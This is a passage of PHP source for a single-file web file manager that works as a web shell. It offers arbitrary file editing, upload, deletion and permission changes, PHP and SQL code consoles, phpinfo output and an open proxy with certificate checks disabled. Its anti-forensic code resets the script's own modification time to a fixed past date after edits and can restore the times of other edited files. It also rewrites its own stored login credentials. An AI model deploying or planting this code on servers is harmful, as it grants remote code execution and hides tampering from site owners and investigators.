for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fms_config; $return = !empty($fms_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fileSet($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_fileSet($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fms_config = $_POST['fm_config']; setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_config'] = serialize($fms_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc_check = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uS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5a55A9753e998575B15B0842f8a58E79a+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1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FhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fms_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in fileSet').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { 